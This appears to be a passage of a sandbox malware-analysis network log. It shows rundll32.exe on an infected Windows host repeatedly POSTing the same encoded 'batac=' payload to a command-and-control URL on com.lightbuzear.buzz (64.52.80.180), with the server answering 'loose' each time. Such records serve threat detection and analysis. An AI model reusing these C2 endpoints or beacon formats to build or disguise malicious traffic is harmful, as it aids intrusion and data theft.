2022-08-14 06:41:21 UTC	176	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:21 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:21 UTC	176	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.22	49278	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:22 UTC	176	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:22 UTC	176	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:23 UTC	177	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:22 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:23 UTC	177	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.22	49279	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:23 UTC	177	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:23 UTC	178	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:24 UTC	179	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:23 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:24 UTC	179	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.22	49183	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:37 UTC	19	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:37 UTC	20	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:38 UTC	21	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:37 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:38 UTC	21	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.22	49184	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:38 UTC	21	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:38 UTC	21	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:39 UTC	22	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:39 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:39 UTC	23	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.22	49185	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:39 UTC	23	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:39 UTC	23	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:40 UTC	24	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:40 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:40 UTC	24	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.22	49186	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:40 UTC	24	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:40 UTC	25	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:41 UTC	26	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:41 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:41 UTC	26	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.22	49187	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:41 UTC	26	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:41 UTC	26	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:42 UTC	27	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:42 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:42 UTC	28	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.22	49188	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:42 UTC	28	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:42 UTC	28	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:43 UTC	29	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:43 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:43 UTC	29	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.22	49189	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:44 UTC	29	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:44 UTC	30	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:44 UTC	31	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:44 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:44 UTC	31	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.22	49190	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:45 UTC	31	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:45 UTC	31	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:45 UTC	32	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:45 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:45 UTC	33	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.22	49191	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:46 UTC	33	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:46 UTC	33	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
